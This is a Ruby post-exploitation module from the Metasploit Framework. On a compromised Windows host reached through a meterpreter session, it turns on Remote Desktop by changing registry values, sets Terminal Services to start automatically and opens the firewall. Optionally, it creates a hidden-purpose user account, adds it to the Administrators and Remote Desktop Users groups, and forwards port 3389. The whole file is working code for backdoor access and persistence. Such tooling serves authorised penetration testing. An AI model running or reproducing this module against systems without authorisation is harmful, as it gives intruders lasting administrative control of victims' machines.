140 lines
5.0 KiB
Ruby
140 lines
5.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/post/common'
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require 'msf/core/post/file'
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require 'msf/core/post/windows/accounts'
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require 'msf/core/post/windows/registry'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Accounts
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include Msf::Post::Windows::Registry
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include Msf::Post::Common
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include Msf::Post::File
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Manage Enable Remote Desktop',
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'Description' => %q{
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This module enables the Remote Desktop Service. It provides the options to create
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a Account and configure such account to be a member of the Local Administrator and
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Remote Desktop Users group. It can also Fordward the targets 3389 Port.},
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'License' => BSD_LICENSE,
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'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
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OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
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OptBool.new( 'ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
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OptBool.new( 'FORDWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
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OptInt.new( 'LPORT', [ false, 'Local port to fordward remote connection.', 3389])
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], self.class)
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end
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def run
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if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
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cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
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"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
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if datastore['ENABLE']
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enablerd(cleanup_rc)
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enabletssrv(cleanup_rc)
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end
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if datastore['USERNAME'] and datastore['PASSWORD']
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addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc)
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end
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if datastore['FORDWARD']
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print_status("Starting the port forwarding at local port #{datastore['LPORT']}")
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client.run_cmd("portfwd add -L 0.0.0.0 -l #{datastore['LPORT']} -p 3389 -r 127.0.0.1")
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end
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print_status("For cleanup execute Meterpreter resource file: #{cleanup_rc}")
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end
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end
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def enablerd(cleanup_rc)
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key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
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value = "fDenyTSConnections"
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begin
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v = registry_getvaldata(key,value)
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print_status "Enabling Remote Desktop"
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if v == 1
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print_status "\tRDP is disabled; enabling it ..."
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registry_setvaldata(key,value,0,"REG_DWORD")
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file_local_write(cleanup_rc,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
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else
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print_status "\tRDP is already enabled"
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end
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rescue::Exception => e
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print_status("The following Error was encountered: #{e.class} #{e}")
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end
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end
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def enabletssrv(cleanup_rc)
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rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
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begin
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v2 = registry_getvaldata(rdp_key,"Start")
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print_status "Setting Terminal Services service startup mode"
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if v2 != 2
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print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
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service_change_startup("TermService","auto")
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file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
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cmd_exec("sc start termservice")
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file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
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else
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print_status "\tTerminal Services service is already set to auto"
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end
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#Enabling Exception on the Firewall
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print_status "\tOpening port in local firewall if necessary"
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cmd_exec('netsh firewall set service type = remotedesktop mode = enable')
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file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
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rescue::Exception => e
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print_status("The following Error was encountered: #{e.class} #{e}")
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end
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end
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def addrdpusr(username, password,cleanup_rc)
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rdu = resolve_sid("S-1-5-32-555")[:name]
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admin = resolve_sid("S-1-5-32-544")[:name]
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print_status "Setting user account for logon"
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print_status "\tAdding User: #{username} with Password: #{password}"
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begin
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cmd_exec("net user #{username} #{password} /add")
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file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
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print_status "\tAdding User: #{username} to local group '#{rdu}'"
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cmd_exec("net localgroup \"#{rdu}\" #{username} /add")
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print_status "\tAdding User: #{username} to local group '#{admin}'"
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cmd_exec("net localgroup #{admin} #{username} /add")
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print_status "You can now login with the created user"
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rescue::Exception => e
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print_status("The following Error was encountered: #{e.class} #{e}")
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end
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end
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end
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